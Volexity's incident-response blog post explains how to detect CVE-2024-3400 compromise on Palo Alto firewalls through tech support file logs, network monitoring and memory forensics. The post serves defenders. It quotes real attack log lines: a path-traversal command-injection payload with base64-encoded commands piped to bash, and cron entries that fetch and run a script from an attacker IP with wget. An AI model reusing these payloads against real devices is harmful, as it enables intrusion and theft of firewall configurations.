Detecting Compromise of CVE-2024-3400 on Palo Alto Networks GlobalProtect Devices
May 15, 2024
Last month, Volexity reported on its discovery of zero-day, in-the-wild exploitation of CVE-2024-3400 in the GlobalProtect feature of Palo Alto Networks PAN-OS by a threat actor Volexity tracks as UTA0218. Palo Alto Networks released an advisory and threat protection signature for the vulnerability within 48 hours of Volexity's disclosure of the issue to Palo Alto Networks, with official patches and fixes following soon after.
Volexity has conducted several additional incident response investigations and proactive analyses of Palo Alto Networks firewall devices since the initial two cases described in Volexity’s blog post. These recent investigations were based primarily on data collected from customers generating a tech support file (TSF) from their devices and providing them to Volexity. From these investigations and analyses, Volexity has observed the following:
- Shortly after the advisory for CVE-2024-3400 was released, scanning and exploitation of the vulnerability immediately increased. The uptick in exploitation appears to have been associated with UTA0218 or another threat actor that had early access to the exploit prior to proof-of-concept code being made public.
- Multiple organizations were exploited in late March 2024 with simple commands designed to place zero-byte files on the systems in what appears to be an effort to validate vulnerable devices. Volexity did not observe follow-on activity from threat actors in most of these cases.
- Exfiltration of the firewall’s running configuration was the most commonly observed post-exploitation activity across devices spanning numerous verticals and geographic regions. This was observed in the earliest exploitation by UTA0218, and by future unrelated threat actors after public proof-of-concept code was made available.
Volexity assesses with moderate confidence that UTA0218 is a China-based threat actor based on the targeting and infrastructure used for this campaign.
This blog post aims to provide details on methods for investigating potentially compromised Palo Alto Networks firewall devices and a general approach towards edge device threat detection.
Detecting Compromise
Volexity’s approach for detecting compromised Palo Alto Network firewall devices is multipronged, with both reactive and proactive capabilities. Detecting a compromise includes needing to leverage key log files—and even system memory—from the devices and network visibility of traffic going in and out of the network, as well as internally. The sections below detail some key items that allowed Volexity to detect and validate compromise of Palo Alto Network firewalls.
Tech Support File Analysis
As noted previously, a TSF can be generated from Palo Alto Networks firewalls. The result will be a tar gzip file containing various files and folder found within the following directories:
/tmp//var/log//var/cores/crashinfo//opt/dpfs//opt/pancfg/panlogs/opt/panlogs//opt/panrepo//opt/plugins/
These files can be helpful when examining Palo Alto Networks firewalls for potential issues. However, Volexity found that specific files were particularly useful in identifying exploit attempts and compromise:
/var/log/pan/gpsvc.log(andgpsvc.log.old)/var/log/pan/md_out.log(andmd_out.log.old)/var/log/pan/device_telemetry_send.log(anddevice_telemetry_send.log.1, etc)/var/log/syslog-system.log(and other datedsyslog-system.logfiles)/var/log/pan/mp-monitor.log(andmp-monitor.log.1, etc)
It should be noted that these files could easily be tampered with by an adversary with access to the firewall (hence the significance to analyzing memory), as the exploit provides root access to the device. This section covers detection opportunities in each of these log files, as well as examples of malicious entries for reference.
GlobalProtect Service Logs
This log file is located at /var/log/pan/gpsvc.log and contains various entries. For CVE-2024-3400, entries related to lines containing the text “unmarshal session” were of particular interest. These entries occur relatively frequently in the log file, but expected entries will contain a GUID value (from the SESSID cookie). An expected legitimate entry may look like the following:
{"level":"error","task":"368047-7","time":"2024-04-09T21:24:43.469732469-00:00","message":"failed to unmarshal session(231a1dab-b57e-6cf4-b324-32ba72bba34c) map , EOF"}
However, the log will look a bit different when exploitation of CVE-2024-3400 occurs. A log entry is generated that shows the attempted path traversal and command injection of the request. An example real-world malicious example from a compromised device is included below:
{"level":"error","task":"368108-7","time":"2024-04-10T04:21:57.461369536-00:00","message":"failed to unmarshal session(.././.././.././.././.././.././.././.././../opt/panlogs/tmp/device_telemetry/minute/'}|{echo,Y3AgL29wdC9wYW5jZmcvbWdtdC9zYXZlZC1jb25maWdzL3J1bm5pbmctY29uZmlnLnhtbCAvdmFyL2FwcHdlYi9zc2x2cG5kb2NzL2dsb2JhbC1wcm90ZWN0L2MuY3Nz}|{base64,-d}|bash|{') map , EOF"}
A high-fidelity detection would be for any unmarshal log entry that includes a path traversal pattern or any malicious command keywords, such as base64, bash, openssl, or echo. However, a broader detection would look for any pattern after unmarshal session that does not match a regex for a session identifier.
MD Out Logs
This log file is located at /var/log/pan/md_out.log and appears to contain a combination of network- and error-related entries. The entries of interest for detection are similar to the GlobalProtect service logs file with unmarshal session entries. An example of a malicious log entry is provided below:
2024-04-10 04:21:57 {"level":"error","task":"368108-7","time":"2024-04-10T04:21:57.461369536-00:00"","message":"failed to unmarshal session(.././.././.././.././.././.././.././.././../opt/panlogs/tmp/device_telemetry/minute/'}|{echo,Y3AgL29wdC9wYW5jZmcvbWdtdC9zYXZlZC1jb25maWdzL3J1bm5pbmctY29uZmlnLnhtbCAvdmFyL2FwcHdlYi9zc2x2cG5kb2NzL2dsb2JhbC1wcm90ZWN0L2MuY3Nz}|{base64,-d}|bash|{') map , EOF"}
Volexity concludes that a high-fidelity detection would be for any unmarshal log entries that include a path traversal pattern or any malicious command keywords, such as base64, bash, or echo. The same broader approach can be taken as described previously.
Device Telemetry Send Logs
This log file is located at /var/log/pan/device_telemetry_send.log and records the sharing of device telemetry with Palo Alto Networks which, according to documentation, “is used to power telemetry apps, which are cloud-based applications that make it easy to monitor and manage your next-generation firewalls”.
In these logs, it is possible to see entries for exploitation of CVE-2024-3400 through command injection related to the device telemetry functionality. An example log line for this file from a real compromised device is shown below:
2024-04-09 23:45:04,284 dt_send INFO TX_DIR: send file dir: fname: /opt/panlogs/tmp/device_telemetry/minute/'}|{echo,dG91Y2ggL3Zhci9hcHB3ZWIvc3NsdnBuZG9jcy9nbG9iYWwtcHJvdGVjdC9jLmNzcw==}|{base64,-d}|bash|{'
These log files do not normally include entries related to echo, bash, or base64, which were used as part of the weaponization of CVE-2024-3400. A legitimate entry would look similar to the following:
2024-04-01 20:10:02,961 dt_send INFO TX_DIR: send file dir: fname: /opt/panlogs/tmp/device_telemetry/minute/PA_016201017619_dt_11.1.0_20240402_0005_5-min-interval_MINUTE.tgz
A high-fidelity detection to detect potential exploitation would look for the presence of echo, bash, or base64 entries in this log file. A broader approach would be for a detection using a regex match for any entry after /opt/panlogs/tmp/device_telemetry/<interval>/ that does not appear to be a continuation of the file path.
Syslog System Logs
This log file is located at /var/log/syslog-system.log and contains various entries related to crond executions and other system activity. Volexity focused on crond executions the threat actor triggered due to use of a cron.d script for persistence and downloading of additional payloads via wget. For example, a few malicious entries are shown below:
Apr 10 02:16:01 <REDACTED>crond[18423]: (root) CMD (wget -qO- http://172.233.228.93/policy | bash)
Apr 10 02:17:01 <REDACTED>crond[25961]: (root) CMD (wget -qO- http://172.233.228.93/policy | bash)
Apr 10 02:18:01 <REDACTED>crond[26478]: (root) CMD (wget -qO- http://172.233.228.93/policy | bash)
It is expected that this log might have numerous crond entries, but legitimate entries appear to be repetitive in nature, as shown below:
Apr 10 02:20:01 <REDACTED>crond[27448]: (root) CMD (sleep $(expr $RANDOM % 60); /usr/local/bin/get-content-issue-msg.sh)
Apr 10 03:58:01 <REDACTED>crond[30759]: (root) CMD (/usr/bin/flock -w 0 /var/lock/device_telemetry_hourly.lock /usr/local/bin/devicetelemetry -i minute)
This log provides the opportunity to build high-fidelity detections for specific crond entries using wget, bash, or other unexpected commands that deviate from typical, legitimate entries.
Management Plane Monitor Logs
The management plane monitor log file is located at /var/log/pan/mp-monitor.log and contains command output for various statistics related to the firewall device. Entries that are interesting and useful for detection include the active network connections and running processes on the device. Some examples of malicious entries Volexity observed from its initial investigation are shown below:
Network-related Entries
tcp 0 1 <REDACTED>:41868 172.233.228.93:8443 SYN_SENT 20622/vpn_prot
tcp 0 0 127.0.0.1:8123 0.0.0.0:* LISTEN 20621/vpn_prot
tcp6 0 0 :::31289 :::* LISTEN 22717/lowdp
tcp 0 1 <REDACTED>:38508 172.233.228.93:80 SYN_SENT 12230/wget
Process-related Entries
24212 root 20 0 707408 3340 772 S 0.0 0.0 0:08.38 lowdp
20622 root 20 0 734480 11204 252 S 0.0 0.1 0:14.54 vpn_prot
4057 root 20 0 42488 2792 2352 S 0.0 0.0 0:00.00 wget
This file obviously relies on knowing atomic indicators in the form of network IP addresses or process names, so it is potentially less useful for proactive detection. However, it can be used by blue teams to check firewall devices quickly for known indicators as part of a wider triage process. The use of wget is potentially a wider indicator to monitor if it appears in this file, though it should be noted this is used on the device for other legitimate functionality.
Network Security Monitoring
Volexity's initial discovery that a customer's Palo Alto Networks firewall device was compromised came from alerts generated through the network security monitoring component of Volexity’s managed detection and response service. Having proper instrumentation of a network to see traffic from both inside and outside the firewall is critical. This can allow for detection of reverse shells, malicious downloads, lateral movement, data exfiltration, and other suspicious behaviors.
Looking for unexpected connections from your firewall both internally and externally can provide an early warning that a compromise may have occurred. Volexity recommends that, where possible, organizations have a dedicated public IP address for the firewall's administrative activity and a different IP address used for egress traffic for other systems behind the firewall. This way, the activity of the firewall to the Internet can easily be distinguished from that of users, servers, and other devices on the network. Further, the internal management IP addresses of devices should be known and monitored for activity that deviates from expected behavior. If a firewall management IP address is suddenly being used for ingress RDP, SSH, SMB, etc., this can be an indicator of device compromise.
Memory Analysis
If an organization is able to obtain system memory from a suspect compromised Palo Alto Networks firewall device, memory analysis can play a key role in detecting signs of compromise. Where possible, Volexity always looks to obtain system memory from systems it is analyzing. In one instance of compromise, Volexity was able to work closely with Palo Alto Networks to obtain memory from the device for analysis using Volexity Surge Collect Pro and develop an analysis profile to fully analyze it with Volexity Volcano. It is not currently possible for Palo Alto Networks customers to collect memory on their own. Due to these collection challenges, Volexity products currently do not officially support Palo Alto Networks devices.
Volexity followed a similar analysis workflow to the one detailed in a previous blog post, How Memory Forensics Revealed Exploitation of Ivanti Connect Secure VPN Zero-Day Vulnerabilities. Analysis started with searching for base64.*bash and proved to be a quick, easy way to identity exploitation. The string highlighted below decodes to touch /var/appweb/sslvpndocs/global-protect/c.css, which is one of the commands used by the attacker. Over the course of various investigations, Volexity has found that even if anti-forensic techniques are used, such as wiping or modifying logs, it is still possible to recover the original log entries from memory.
To save time, Volexity also leveraged Volcano’s automated indicators of compromise. For example, the Linux Static Executables indicator triggered on the /tmp/vpn_prot and /tmp/lowdp binaries. This provided some solid artifacts to triage.
The full command-line arguments, PIDs, and creation timestamps for these processes are preserved in the process tree. As shown below, suspicious processes are easily identifiable by their SOCKS proxy arguments and because Volcano automatically applied color-coded labels and notes to the suspect artifacts.
Likewise, the Suspicious Mapped Files indicator alerted on the same artifacts, since running a process from a temporary directory also yields mapped files into the process.
Furthermore, Volcano recovered the attacker’s bash history, which is a side effect of reverse shells and non-interactive bash scripts. This evidence is parsed from files collected by Volexity’s acquisition tools (such as Surge Collect Pro), which appears in the upper highlighted portion; and from the memory sample (the lower portion).
The YARA rules created by Volexity’s Threat Intelligence Team triggered on the /tmp/lowdp process, as expected. Note that several hits were also found in kernel memory, which would likely survive in volatile memory much longer than the actual process, offering the capability to still trigger on these regions after the process terminates.
Volexity proceeded to search memory for some of the IP addresses involved in post-exploitation. Palo Alto Networks firewall devices create verbose logs and diagnostics in memory, but Volcano’s ability to exclude sub-strings proved very powerful, helping reduce noise. Some of the initial strings observed are shown below, including the gzip file containing the vpn_prot tool and the system logs from the cron job that downloaded the policy file and piped it to bash.
In addition to the system logs showing exactly when the cron job ran, it is also possible to recover the full update script from disk at the time of acquisition. The image below shows the * * * * * time frame, indicating every 60 seconds.
It is possible to prove exploitation through disk alone, simply based on the presence of unexpected files that should not be present on the system, such as the update file or /tmp/vpn_prot. However, incorporating memory into the analysis workflow makes it possible to prove exactly when those processes ran, volatile information about the processes (such as command-line arguments), and most importantly, the ability to recover files or data that may have been modified or deleted from the underlying file system.
Conclusion
With widespread exploitation of Palo Alto Networks Network firewall devices, it is critically important that organizations ensure they are rapidly patching and applying relevant threat prevention signatures. It is equally important that organizations ensure they have methods to actively monitor and investigate threats that may emanate from their firewall devices. This blog post provides insight into several key steps for monitoring for and investigating such threats.
Analyzing logs from Palo Alto Networks firewall devices through generation of TSFs is particularly useful when investigating signs of potential exploitation associated with CVE-2024-3400. However, the overall collection and analysis process of those same logs may prove useful for future investigative work related to these devices.
The approach for network security monitoring can be universally applied to edge devices and has been a key recommendation in past blogs, such as when Volexity discovered multiple Ivanti Connect Secure zero-days being exploited late last year. And, while it may be challenging to acquire memory from such devices, Volexity has proven time and again that having this collection and analysis capability is invaluable.
If your organization discovers signs of a breach or needs investigative assistance, please do not hesitate to reach out to Volexity for potential incident response services.
Organizations that may be looking to bolster their network security monitoring or threat intelligence capabilities, or learn more about Volexity's leading memory forensics solutions, Volexity Surge Collect Pro for memory acquisition and Volexity Volcano for memory analysis, please contact us.